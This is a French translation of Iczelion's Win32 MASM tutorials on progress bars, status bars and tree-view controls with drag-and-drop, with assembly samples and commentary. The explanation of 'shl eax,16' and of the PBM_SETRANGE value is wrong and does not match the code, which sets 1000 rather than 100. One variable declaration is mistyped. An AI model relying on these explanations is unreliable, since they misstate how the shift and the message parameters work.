invoke SendMessage,hwndStatus,SB_SETTEXT,0,0
invoke SendMessage,hwndProgress,PBM_SETPOS,0,0
.endif
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analyse:

    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax
    invoke InitCommonControls
J'ai délibérément mis InitCommonControls après ExitProcess pour vous faire voir que InitCommonControls est juste ici pour la mettre en référence comctl32.dll, dans la section d'importation. Comme vous pouvez le voir, les 'common controls' fonctionnent parfaitement même lorsque InitCommonControls n'est pas exécuter.
    .if uMsg==WM_CREATE
    invoke CreateWindowEx,NULL,ADDR ProgressClass,NULL,\
    WS_CHILD+WS_VISIBLE,100,\
    200,300,20,hWnd,IDC_PROGRESS,\
    hInstance,NULL
    mov hwndProgress,eax
Voici l'endroit où nous créons le common control. Notez que cet appel de CreateWindowEx contient la variable 'hWnd' en tant que 'handle de la fenêtre parente'. On spécifie aussi un 'Control ID' pour l'identification de ce contrôle. Cependant, puisque nous avons l' handle du 'control', cet ID n'est pas employé. Tout 'child window control' doit avoir le style WS_CHILD.
    mov eax,1000
    mov CurrentStep,eax
    shl eax,16
    invoke SendMessage,hwndProgress,PBM_SETRANGE,0,eax
    invoke SendMessage,hwndProgress,PBM_SETSTEP,10,0
Après que la barre de progression ait été créée, nous pouvons définir sa gamme. La gamme par défaut va de 0 à 100. Si vous n'en êtes pas satisfait, vous pouvez spécifier votre propre gamme avec le message PBM_SETRANGE. Le message 'lParam' contient la gamme, la borne supérieure de la gamme (ici 100d ou 64h) est placée dans le mot de poids fort alors que le minimum (0) est dans le mot de poids faible. Ce qui fait que IParam vaut 00640000h. Que fait Shl eax,16 ? Shl décale 16 bit de eax vers la gauche. Ici on est en octet donc 8 bits, ce qui fait qu'on déplace 16/8=2 octets de eax vers la gauche, ce qui fait que eax prend la valeur 00000064h. On vient de récupérer la borne haute de IParam dans eax.
Vous pouvez spécifier le 'nombre de pas' dont cette barre sera remplie, en employant PBM_SETSTEP. Dans notre exemple, on le met à 10 ce qui signifie que lorsque un message PBM_STEPIT est envoyé à la barre de progression, l'indicateur de progression montera de 10 par 10. Mais vous pouvez aussi définir le niveau de l'indicateur en envoyant des messages PBM_SETPOS. Ce message vous donne un contrôle plus précis sur la barre de progression.
    invoke CreateStatusWindow,WS_CHILD+WS_VISIBLE,NULL,hWnd,IDC_STATUS
    mov hwndStatus,eax
    invoke SetTimer,hWnd,IDC_TIMER,100,NULL ; Crée un timer
    mov TimerID,eax
Ensuite, nous créons une barre de statut en appelant CreateStatusWindow. C'est un appel facile à comprendre donc je ne ferai pas de remarques. Après que la fenêtre de statut ait été créée, nous fabriquons un minuteur. Dans cet exemple, nous mettrons à jour la barre de progression dans un intervalle régulier de 100ms, donc nous devons créer un minuteur (un control timer). Ci-dessous voici le 'prototype de fonction' de SetTimer.
    SetTimer PROTO hWnd:DWORD, TimerID:DWORD, TimeInterval:DWORD, lpTimerProc:DWORD
hWnd : handle de la fenêtre Parente
TimerID : Le n° d'Identité du minuteur (du Timer), différent de zéro. Vous pouvez mettre le n° que vous voulez pour l'identifier. Mais si vous avez plusieurs Timers , chacun doit avoir son propre n° ID
TimerInterval : L'intervalle de temps du minuteur, en millisecondes, doit être terminé avant que le minuteur appelle la procédure du minuteur ou envoie un message WM_TIMER
lpTimerProc : L'adresse de la procedure du minuteur (TimerProc, c'est une fonction CallBack) qui sera appelée lorsque l'intervalle de temps est expiré. Si ce paramètre est NULL, le minuteur enverra le message WM_TIMER à la fenêtre parente, au lieu de cette adresse.

Si cet appel est couronné de succès, il renverra le TimerID. S'il a échoué, il retourne la valeur 0. C'est pourquoi la valeur du TimerID doit absolument être différente de zéro.

    .elseif uMsg==WM_TIMER
    invoke SendMessage,hwndProgress,PBM_STEPIT,0,0
    sub CurrentStep,10
    .if CurrentStep==0
    invoke KillTimer,hWnd,TimerID
    mov TimerID,0
    invoke SendMessage,hwndStatus,SB_SETTEXT,0,addr Message
    invoke MessageBox,hWnd,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
    invoke SendMessage,hwndStatus,SB_SETTEXT,0,0
    invoke SendMessage,hwndProgress,PBM_SETPOS,0,0
    .endif
Quand l'intervalle de temps indiqué expire, le minuteur (le timer) envoie le message WM_TIMER. Vous pourrez placer votre propre code ici pour qu'il soit exécuté. Dans cet exemple, nous mettons à jour la barre de progression et vérifions ensuite si la limite maximale a été atteinte (dépassée). Si c'est le cas, nous fermons le Timer et mettons ensuite le texte dans la fenêtre de statut avec le message SB_SETTEXT. Une boîte de message est affichée, et quand l'utilisateur clique sur OK, nous purifions le texte de la barre de statut ainsi que la barre de progression.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 19: Tree View Control

Tutorial 19: Common Contrôle de type :
'Dossiers organisés sous la forme d'arbrescence'

(Tree View Control)

Dans ce Tutorial, nous allons voir ce qu'est un 'tree view control' (C'est exactement de cette façon là que l'Explorateur Windows nous affiche sous forme d'un arbre tous les dossiers de notre disque dur). De plus, nous apprendrons aussi à construire le mécanisme du 'drag and drop' (glisser-déposer) et comment employer une 'image list' (liste d'image).
Downloadez l'exemple ici.

Théorie:

Un 'tree view control' est une sorte de fenêtre spéciale qui affiche des objets en ordre hiérarchique. Le meilleur exemple c'est la fenêtre de gauche de l'Explorateur Windows. Vous pouvez employer ce contrôle pour montrer les raccordements entre les différents objets (ici des dossiers).
Vous pouvez créer un 'tree view control' en appelant CreateWindowEx, en lui passant la donnée "SysTreeView32" comme nom de classe ou bien vous pouvez l'incorporer dans une DialogBox. N'oubliez pas de placer un Call InitCommonControls dans votre code.
Il y a plusieurs styles différents de 'tree view control'. Ci-dessous voici les trois plus employés.
    TVS_HASBUTTONS sert à mettre les petits boutons carrés 'plus (+) et moins (-)' à côté des l'Items parentaux (à côté des dossiers par exemple). L'utilisateur clique sur un de ces boutons associés à un dossier parent pour qu'il se déploie et affiche ses sous dossiers ou se recroqueville sur lui-même. Pour pouvoir inclure des boutons au niveau de la racine des Items de l'arbre, on doit également spécifié TVS_LINESATROOT.
    TVS_HASLINES emploie des lignes pour montrer la hiérarchie entre les différents Items.
    TVS_LINESATROOT emploie des lignes pour lier des Items à la racine du 'tree-view control'. Cette valeur est ignorée si TVS_HASLINES n'est pas également spécifié.
Le 'tree view control', comme d'autre common controls, communique avec la fenêtre parente via des messages. La fenêtre parente peut lui envoyer divers messages et le 'tree view control' peut envoyer des messages "d'avis" à sa fenêtre parente. À cet égard, le 'tree view control' n'est pas différent des fenêtres habituelles.
Quand quelque chose d'intéressant lui arrive, il envoie un message WM_NOTIFY à la fenêtre parente en l'accompagnant de l'information.
    WM_NOTIFY
    WParam est le n°d'IDentité du Contrôle (Control ID), on ne garantit pas que cette valeur soit unique donc nous ne
    l'emploierons pas. Au lieu de ça, nous employons hwndFrom ou le membre IDFrom de la structure
    NMHDR pointé par lParam

    LParam est le pointer qui repère la structure NMHDR. Certaines commandes peuvent passer un pointer de plus
    grande taille. Mais il doit avoir une structure NMHDR dans son premier membre.
    C'est-à-dire qu'au moins pour lParam, vous devez être sûrs qu'il indique une structure NMHDR.
Maintenant examinons la structure NMHDR.
    NMHDR struct DWORD
    hwndFrom DWORD ?
    idFrom DWORD ?
    code DWORD ?
    NMHDR ends
HwndFrom est l'handle du contrôle qui envoie ce message WM_NOTIFY.
IdFrom est le n°ID du contrôle qui envoie ce message WM_NOTIFY.
Code est le message réel que le contrôle veut envoyer à la fenêtre parente.
Les réponses du 'Tree View' sont celles avec TVN_ au début du nom. Les messages du Tree View sont ceux avec TVM _, tels que TVM_CREATEDRAGIMAGE. Le 'tree view control' envoie TVN_XXXX dans le membre 'Code' dde la structure NMHDR. La fenêtre parente peut envoyer TVM_XXXX pour le contrôler.

Ajout d'Item au tree view control

Après que vous l'ayez créé, vous pouvez même rajouter des Item (des articles) au tree view control. Vous pouvez faire ça en employant le message TVM_INSERTITEM.
    TVM_INSERTITEM
    wParam = 0;
    lParam = est le pointeur qui (pointe) sur TV_INSERTSTRUCT;
A ce niveau, on doit connaître quelques petits trucs à propos des Items (articles) du tree view control.
Un Item peut être lui-même parent, enfant (un child) , ou les deux en même temps. Un Item parent est un Item qui a d'autres sous-Items associés qui dépendent de lui. En même temps, cet Item parent peut aussi être l'enfant d'un autre Item. Un Item sans un parent est appelé un Item racine (par exemple : dans l'Explorateur de Windows, l'item 'Windows' est un item parent alors que l'Item 'System' est un de ses items enfant). Il peut y avoir plusieurs d'Items racine dans un 'tree view control'. Maintenant examinons la structure TV_INSERTSTRUCT.
    TV_INSERTSTRUCT STRUCT DWORD
    hParent DWORD ?
    hInsertAfter DWORD ?
    ITEMTYPE <>
    TV_INSERTSTRUCT ENDS
hParent est l'handle de l'Item parent. Si ce membre prend la valeur TVI_ROOT ou NULL, l'Item est inséré à la racine du 'tree view control'.
hInsertAfter est l'handle d'un prochain Item, qu'il soit un 'Child Item' ou bien un nouvel 'Item Parent':
  • TVI_FIRST = > Insère un Item au début de la liste.
  • TVI_LAST = > Insère un Item en fin de liste.
  • TVI_SORT = > Insère un Item dans la liste dans l'ordre alphabétique.
    ITEMTYPE UNION
    itemex TVITEMEX <>
    item TVITEM <>
    ITEMTYPE ENDS
Nous emploierons uniquement TV_ITEM ici.
    TV_ITEM STRUCT DWORD
    imask DWORD ?
    hItem DWORD ?
    state DWORD ?
    stateMask DWORD ?
    pszText DWORD ?
    cchTextMax DWORD ?
    iImage DWORD ?
    iSelectedImage DWORD ?
    cChildren DWORD ?
    lParam DWORD ?
    TV_ITEM ENDS
Cette structure est employée pour envoyer et recevoir des renseignements (des messages) d'un Item du Tree View. Par exemple, avec TVM_INSERTITEM, il est employé pour définir l'attribut de l'Item qui doit être inséré dans le tree view control. Avec TVM_GETITEM, on envoie l'information pour choisir le type d'Items du Tree View.
imask est employé pour spécifier quel(s) membre(s) de la structure TV_ITEM est (sont) valide(s). Par exemple, si la valeur dans Imask est TVIF_TEXT, ça signifie qu'uniquement le membre pszText est valide. Vous pouvez combiner plusieurs flags ensembles.
hItem est l'handle de l'Item du Tree View. Chaque item a son propre handle. Lorsque vous souhaitez manipuler ou utiliser un item, vous devez le choisir grâce à son handle.
pszText est un pointeur qui (pointe) sur une chaîne de caractères terminée par un caractère nul. Cette chaîne de caractères est le label de l'Item du Tree View (Le texte associé à cet Item).
cchTextMax est uniquement employé lorsque vous voulez retrouver le label de l'Item du Tree View. Puisque vous pointer sur le buffer de pszText (on pointe sur la zone mémoire où est écrit le texte), Windows doit connaître la taille de ce buffer. Ce membre (cchTextMax) sert donc à donner la taille du buffer.
iImage et iSelectedImage font référence à l'index d'une 'image list' laquelle contient des images qui doivent être affichées lorsque l'Item n'est pas choisi (iImage) et quand il est choisi (iSelectedImage). Si vous vous souvenez de la fenêtre de gauche de l'Explorateur Windows, les images des dossiers sont contrôlées par ces deux membres.
Afin d'insérer un Item dans un tree view control, vous devez au moins mettre des valeurs dans hParent, hInsertAfter et vous devez remplir imask ainsi que le membre pszText.

Addition d'images à un tree view control :

Si vous souhaitez placer une image à gauche du label (du texte) d'un 'Tree View Item', vous devez créer une 'image list' et l'associer au 'tree view control'. Vous pouvez créer une 'image list' en appelant ImageList_Create.
    ImageList_Create PROTO cx:DWORD, cy:DWORD, flags:DWORD, \
    cInitial:DWORD, cGrow:DWORD
Cette fonction ,si elle se déroule avec succès, renvoie l'handle d'une 'image list' vide.
cx représente la largeur (en pixels) de chaque image dans cet 'image list'.
cy est la hauteur de chaque image (en pixels) de cet 'image list'. Toutes les images de l' 'image list' doivent être égales en taille. Si vous définissez un grand bitmap (image), Windows emploiera cx et cy pour la *découper* en plusieurs morceaux. Donc vous devez préparer votre propre image comme une bande d'images avec des dimensions identiques.
flags détermine le type d'images contenues dans cet 'image list', si elles sont colorées ou monochromes et leur profondeur de colorations (16millions de couleurs ou moins). Consultez votre référence API win32 pour de plus amples détails.
cInitial est le nombre d'images que cet 'image list' contiendra au commencement. Windows emploiera ces renseignements pour réserver de la mémoire pour ces images.
cGrow est le nombre d'images dont l'image list peut être agrandit lorsque le système a besoin de retaillée la liste de départ pour faire place pour de nouvelles images. Ce paramètre représente le nombre de nouvelles images que l'image list agrandit peut contenir.
L' image list n'est pas une fenêtre! C'est seulement une sorte d'entrepos d'images pour que d'autres fenêtres puisse s'en servir.
Après que l'image list soit créé, vous pouvez y ajouter des images en appelant ImageList_Add
    ImageList_Add PROTO himl:DWORD, hbmImage:DWORD, hbmMask:DWORD
Cette fonction renvoie la valeur -1 si elle échoue.
himl est l'handle de l'image list dans laquelle vous souhaitez ajouter d'autres images. Cette la valeur obtenue après le succès d'un appel à ImageList_Create
hbmImage est l'handle de l'image qui doit être rajoutée à l' 'image list'. D'habitude, on stocke les images en tant que ressources et on les charge grâce à l'appel LoadBitmap. Remarquez que vous n'avez pas à spécifier le nombre de morceaux d'images contenues dans cette image (entière) parce que cette information est représentée par les paramètres cx et cy, lesquels sont déduits lors de leur passage dans l'appel ImageList_Create.
hbmMask est l'handle du bitmap (l'image en entier) qui contient le masque. Si aucun masque n'est employé avec l'image list, ce paramètre est ignoré.
Normalement, nous ajoutons seulement deux images à une image list pour les utiliser avec le tree view control : celles-ci sont employées soit quand l'Item du Tree View n'est pas sélectionné soit l'autre quand l'Item est sélectionné.
Quand l' image list est prête, vous l'associez avec le tree view control en envoyant TVM_SETIMAGELIST au tree view control.
    TVM_SETIMAGELIST
    WParam = type d'image list à afficher. Il y a deux choix :
    • TVSIL_NORMAL est le Jeu normal d' image list, qui contient les images choisies et non choisies pour l'Item du Tree View.
    • TVSIL_STATE est le Jeu 'd'état' d' image list, qui contient les images d'Item de Tree View qui sont dans un état défini par l'utilisateur.
    lParam = handle de l' image list

Recherche des renseignements a propos des items d'un tree view.

Vous pouvez retrouver l'information d'un Item du Tree View en envoyant le message TVM_GETITEM.
    TVM_GETITEM
    wParam = 0
    lParam = pointer sur la structure TV_ITEM pour qu'on puisse la remplir avec l'information.
Avant que vous n'envoyiez ce message, vous devez remplir imask avec le flag qui dit quel(s) sorte(s) de TV_ITEM est ce que vous souhaitez que Windows prenne. Et plus important, vous devez remplir hItem avec l'handle de l'Item dont vous voulez avoir l'information. Et ça pose un problème : Comment peut-on connaître l'handle de l'Item dont on souhaite justement retrouver des renseignements? Doit-on stocker tous les handles du Tree View?
La réponse est très simple : faut pas faire ça. On peut utiliser le message TVM_GETNEXTITEM du tree view control pour retrouver l'handle de l'Item dont on a spécifié l'attribut(s). Par exemple, on peut vérifier l'handle du premier Child Item, de l'Item racine, ou de l'Item choisi, et cetera.
    TVM_GETNEXTITEM
    wParam = flag
    lParam = handle d'un Item du Tree View (seulement nécessaire pour certaines valeurs de flag)
La valeur dans wParam est très importante donc je met tous les flags ci-dessous :
    • TVGN_CARET Retrouve l'Item actuellement choisi.
    • TVGN_CHILD Retrouve le premier Child Item appartenant à l'Item indiqué par le paramètre hitem.
    • TVGN_DROPHILITE Retrouve l'Item qui est la cible d'une opération de glisser-déposer. (Drad and Drop)
    • TVGN_FIRSTVISIBLE Retrouve le premier Item visible.
    • TVGN_NEXT Retrouve le Child Item suivant (de mêmes parents).
    • TVGN_NEXTVISIBLE Retrouve l'Item visible qui suit l'Item indiqué. L'Item indiqué doit être visible. Utilisez le message TVM_GETITEMRECT pour déterminer si un Item est visible.
    • TVGN_PARENT Retrouve le parent de l'Item indiqué.
    • TVGN_PREVIOUS Retrouve le Child Item précédent (de mêmes parents).
    • TVGN_PREVIOUSVISIBLE Retrouve le premier Item visible qui précède l'Item indiqué. L'Item indiqué doit être visible. Employez le message TVM_GETITEMRECT pour déterminer si un Item est visible.
    • TVGN_ROOT Retrouve le topmost (ex: C:) ou le tout premier Item du tree-view control.
Vous pouvez voir que, vous pouvez retrouver l'handle de n'importe quel Item du Tree View en vous intéressant à ces messages. SendMessage renvoie l'handle de l'Item du Tree View si la tache est couronnée de succès. Vous pouvez alors remplir le membre hItem (appartenant à TV_ITEM) avec la valeur de l'handle renvoyé pour ensuite pouvoir l'utiliser avec le message TVM_GETITEM.

Opération Drag and Drop (glisser-déposer) dans un tree view control

Cette partie est la raison pour laquelle j'ai décidé d'écrire ce Tutorial. Quand j'ai essayé de suivre l'exemple de la référence win32 api (le win32.hlp d'InPrise), j'ai vraiment été frustré parce qu'en fait il manque l'information essentielle. D'essais en essais et d'erreurs en erreurs, j'ai fini par comprendre comment utiliser le système de 'Drag and Drap' d'un tree view control et je ne veux pas que d'autres personnes aient à refaire le même chemin de croix que moi.
Ci-dessous voici les étapes pour accomplir une opération Drag&Drop dans un tree view control.
  1. Quand l'utilisateur essaye de déplacer un Item, le tree view control envoie le message TVN_BEGINDRAG à la fenêtre parente. Vous pouvez profiter de cette occasion pour créer une image de traînée qui est l'image qui sera employée pour représenter l'Item quand on le déplace. Vous pouvez envoyer TVM_CREATEDRAGIMAGE au tree view control pour lui dire de créer une 'image de traînée' par défaut de l'image qui est actuellement employée par l'Item que l'on déplace. Le tree view control créera une image list avec uniquement l 'image de traînée' et vous renverra l'handle de cette image list.
  2. Après que l'image de traînée aie été créée, vous définissez le point chaud de l'image de traînée en appelant ImageList_BeginDrag.
      3. ImageList_BeginDrag PROTO himlTrack:DWORD, \
      iTrack:DWORD , \
      dxHotspot:DWORD, \
      dyHotspot:DWORD
      himlTrack est l'handle de l'image list qui contient l'image de traînée.
      iTrack est l'index qui indique l'image de traînée dans l'image list.
      dxHotspot indique la distance relative du point chaud (de l'image de traînée) dans le plan horizontal. Puisque cette image sera employée à la place du curseur de la souris, nous avons donc besoin de définir où se situe le point chaud dans l'image.
      dyHotspot indique la distance relative du point chaud dans le plan vertical.
      Normalement, iTrack sera mis à 0 si vous dites au tree view control de créer une image de traînée à votre place. Et dxHotspot et dyHotspot peuvent être égales à 0 si vous voulez placer le point chaud au niveau du coin supérieur gauche de l'image de traînée.
  3. Quand l'image de traînée est prête à être affichée, nous appelons ImageList_DragEnter pour la faire apparaître dans la fenêtre.
      4. ImageList_DragEnter PROTO hwndLock:DWORD, x:DWORD, y:DWORD
      hwndLock est l'handle de la fenêtre qui affiche l'image de traînée. Cette image n'aura pas la possibilité de se déplacer à l'extérieur de cette fenêtre.
      x et y sont les coordonnées de l'endroit où l'image de traînée doit être affichée au commencement. Remarquez que ces valeurs on pour référence (0;0) le coin supérieur gauche de la fenêtre, et non pas son secteur client.
  4. Maintenant que l'image de traînée est affichée dans la fenêtre, vous devrez maintenir l'opération (DRAG) de traînée dans le tree view control. Cependant, il y a un petit problème ici. Nous devons contrôler le chemin de la traînée avec WM_MOUSEMOVE et l'emplacement où on dépose (DROP) avec le message WM_LBUTTONUP. Cependant, si l'image de traînée appartient à une autre 'Child Windows' (donc pas à notre fenêtre principale [ou parente]), la fenêtre parente ne recevra jamais le message de la souris. La solution est de capturer l'entrée souris avec SetCapture. En employant l'appel, les messages souris seront dirigés vers la fenêtre indiquée indépendamment de l'endroit où se trouve le curseur de la souris (et ici le curseur de la souris vient d'être momentanément remplacé par l'image de traînée).
  5. A l'intérieur de WM_MOUSEMOVE, vous mettrez à jour le chemin de la traînée avec l'appel de ImageList_DragMove. Cette fonction déplace l'image que l'on traîne pendant une opération de glisser-déplacer. En outre, si c'est votre souhait, vous pouvez contrôler l'Item de l'image de traînée en envoyant TVM_HITTEST pour vérifier si l'image de traînée passe au dessus d'un autre Item. Si c'est le cas, vous pouvez envoyer le message TVM_SELECTITEM avec le flag rendu par TVGN_DROPHILITE. Remarquez qu'avant l'envoi du message TVM_SELECTITEM, vous devez d'abord cacher l'image de traînée sinon votre image laissera de vilaines traces en se déplaçant. Vous pouvez cacher l'image de traînée en appelant ImageList_DragShowNolock et, après que l'opération soit finie, appelez ImageList_DragShowNolock de nouveau pour réafficher l'image de traînée.
  6. Quand l'utilisateur relâche le bouton gauche de la souris, vous devez faire plusieurs choses. Si vous perdez le contôle de votre Item, vous devez le réactiver en envoyant le message TVM_SELECTITEM avec le flag rendu par TVGN_DROPHILITE (pour retrouver l'handle de l'item qui vient de subir le Déplacer-Poser (Drag and Drop)), mais cette fois-ci, lParam DOIT ÊTRE égal à zéro. Si vous n'avez plus le contrôle de votre Item, vous obtiendrez un étrange effet : quand vous choisissez un autre Item, celui-ci sera contenu dans un rectangle mais le contrôle sera toujours sur le dernier Item. Ensuite, vous devez appeler ImageList_DragLeave suivit d'ImageList_EndDrag. Vous devez relâcher la souris en appelant ReleaseCapture. Si vous avez créé une image list, vous devez la détruire en appelant ImageList_Destroy. Après ça, lorsque l'opération de drag and drop est terminée, vous pouvez continuer le déroulement normal de votre programme.

Code sample:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
.const
IDB_TREE equ 4006 ; c'est l'ID de la ressource bitmap (le n° d'Identité de l'image entière)
.data
ClassName db "TreeViewWinClass",0
AppName db "Tree View Demo",0
TreeViewClass db "SysTreeView32",0
Parent db "Parent Item",0
Child1 db "child1",0
Child2 db "child2",0
DragMode dd FALSE ; un flag pour déterminer si nous sommes en mode Drag (traînée)

.data?
hInstance HINSTANCE ?
hwndTreeViewdd ? ; handle du tree view control
hParent dd ? ; handle de l 'Item racine' du Tree View.
hImageList dd ? ; handle de l 'image list' employée dans le 'tree view control'.
hDragImageList dd ? ; handle de l 'image list' où on a l'habitude de stocker l'image de traînée.

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,200,400,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses edi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL tvinsert:TV_INSERTSTRUCT
LOCAL hBitmap:DWORD
LOCAL tvhit:TV_HITTESTINFO
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR TreeViewClass,NULL,\
WS_CHILD+WS_VISIBLE+TVS_HASLINES+TVS_HASBUTTONS+TVS_LINESATROOT,0,\
0,200,400,hWnd,NULL,\
hInstance,NULL ; Crée le 'tree view control'
mov hwndTreeView,eax
invoke ImageList_Create,16,16,ILC_COLOR16,2,10 ; Crée l 'image list' associée.
mov hImageList,eax
invoke LoadBitmap,hInstance,IDB_TREE ; Charge le bitmap ressource (charge l'image).
mov hBitmap,eax
invoke ImageList_Add,hImageList,hBitmap,NULL ; Ajoute le bitmap dans l 'image list'.
invoke DeleteObject,hBitmap ; Supprime ce bitmap pour toujours.
invoke SendMessage,hwndTreeView,TVM_SETIMAGELIST,0,hImageList
mov tvinsert.hParent,NULL
mov tvinsert.hInsertAfter,TVI_ROOT
mov tvinsert.item.imask,TVIF_TEXT+TVIF_IMAGE+TVIF_SELECTEDIMAGE
mov tvinsert.item.pszText,offset Parent
mov tvinsert.item.iImage,0
mov tvinsert.item.iSelectedImage,1
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
mov hParent,eax
mov tvinsert.hParent,eax
mov tvinsert.hInsertAfter,TVI_LAST
mov tvinsert.item.pszText,offset Child1
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
mov tvinsert.item.pszText,offset Child2
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
.elseif uMsg==WM_MOUSEMOVE
.if DragMode==TRUE
mov eax,lParam
and eax,0ffffh
mov ecx,lParam
shr ecx,16
mov tvhit.pt.x,eax
mov tvhit.pt.y,ecx
invoke ImageList_DragMove,eax,ecx
invoke ImageList_DragShowNolock,FALSE
invoke SendMessage,hwndTreeView,TVM_HITTEST,NULL,addr tvhit
.if eax!=NULL
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,eax
.endif
invoke ImageList_DragShowNolock,TRUE
.endif
.elseif uMsg==WM_LBUTTONUP
.if DragMode==TRUE
invoke ImageList_DragLeave,hwndTreeView
invoke ImageList_EndDrag
invoke ImageList_Destroy,hDragImageList
invoke SendMessage,hwndTreeView,TVM_GETNEXTITEM,TVGN_DROPHILITE,0
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_CARET,eax
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,0
invoke ReleaseCapture
mov DragMode,FALSE
.endif
.elseif uMsg==WM_NOTIFY
mov edi,lParam
assume edi:ptr NM_TREEVIEW
.if [edi].hdr.code==TVN_BEGINDRAG
invoke SendMessage,hwndTreeView,TVM_CREATEDRAGIMAGE,0,[edi].itemNew.hItem
mov hDragImageList,eax
invoke ImageList_BeginDrag,hDragImageList,0,0,0
invoke ImageList_DragEnter,hwndTreeView,[edi].ptDrag.x,[edi].ptDrag.y
invoke SetCapture,hWnd
mov DragMode,TRUE
.endif
assume edi:nothing
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analyse:

Avec WM_CREATE, vous créez le tree view control.
    invoke CreateWindowEx,NULL,ADDR TreeViewClass,NULL,\
    WS_CHILD+WS_VISIBLE+TVS_HASLINES+TVS_HASBUTTONS+TVS_LINESATROOT,0,\
    0,200,400,hWnd,NULL,\
    hInstance,NULL
Remarquez les styles. TVS_xxxx représentent des styles spéciaux de Tree View.
    invoke ImageList_Create,16,16,ILC_COLOR16,2,10
    mov hImageList,eax
    invoke LoadBitmap,hInstance,IDB_TREE
    mov hBitmap,eax
    invoke ImageList_Add,hImageList,hBitmap,NULL
    invoke DeleteObject,hBitmap
    invoke SendMessage,hwndTreeView,TVM_SETIMAGELIST,0,hImageList
Ensuite, vous créez une 'image list' vide à son ouverture, laquelle acceptera des images de 16x16 pixels et en couleur 16 bits. Elle contiendra 2 images, mais on peut l'agrandir à 10 images si le besoin s'en fait ressentir. Nous chargeons alors le bitmap et l'ajoutons à l' image list' juste créé. Après ça, nous supprimons l'handle du bitmap puisque il ne sera plus employé désormais. Quand l 'image list' est définitivement finie, nous l'associons au tree view control en envoyant le message TVM_SETIMAGELIST au tree view control.
    mov tvinsert.hParent,NULL
    mov tvinsert.hInsertAfter,TVI_ROOT
    mov tvinsert.u.item.imask,TVIF_TEXT+TVIF_IMAGE+TVIF_SELECTEDIMAGE
    mov tvinsert.u.item.pszText,offset Parent
    mov tvinsert.u.item.iImage,0
    mov tvinsert.u.item.iSelectedImage,1
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
Nous insérons des Items dans le tree view control, en commençant à partir de l'Item racine. Puisque il s'agit de l'Item racine, le membre hParent est NULL et hInsertAfter est TVI_ROOT. Le membre imask indique que les membres pszText, iImage et iSelectedImage de la structure TV_ITEM sont valables. Nous remplissons ces trois membres avec les valeurs appropriée. pszText contient le label de l'Item racine (son texte), iImage est l'index de l'image dans l 'image list' qui sera placée à gauche de l'Item non choisi et iSelectedImage est l'index de l'image dans l 'image list' qui sera affichée quand l'Item est choisi. Quand tous les membres appropriés sont remplis, nous envoyons le message TVM_INSERTITEM au tree view control pour y ajouter l'Item racine.
    mov hParent,eax
    mov tvinsert.hParent,eax
    mov tvinsert.hInsertAfter,TVI_LAST
    mov tvinsert.u.item.pszText,offset Child1
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
    mov tvinsert.u.item.pszText,offset Child2
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
Après que l'Item racine ait été rajouté, nous pouvons y attacher les Childs Items. Le membre hParent est maintenant rempli de l'handle de l'Item parent. Et nous emploierons des images identiques dans l 'image list' donc nous ne touchons plus aux membres iImage et iSelectedImage.
    .elseif uMsg==WM_NOTIFY
    mov edi,lParam
    assume edi:ptr NM_TREEVIEW
    .if [edi].hdr.code==TVN_BEGINDRAG
    invoke SendMessage,hwndTreeView,TVM_CREATEDRAGIMAGE,0,[edi].itemNew.hItem
    mov hDragImageList,eax
    invoke ImageList_BeginDrag,hDragImageList,0,0,0
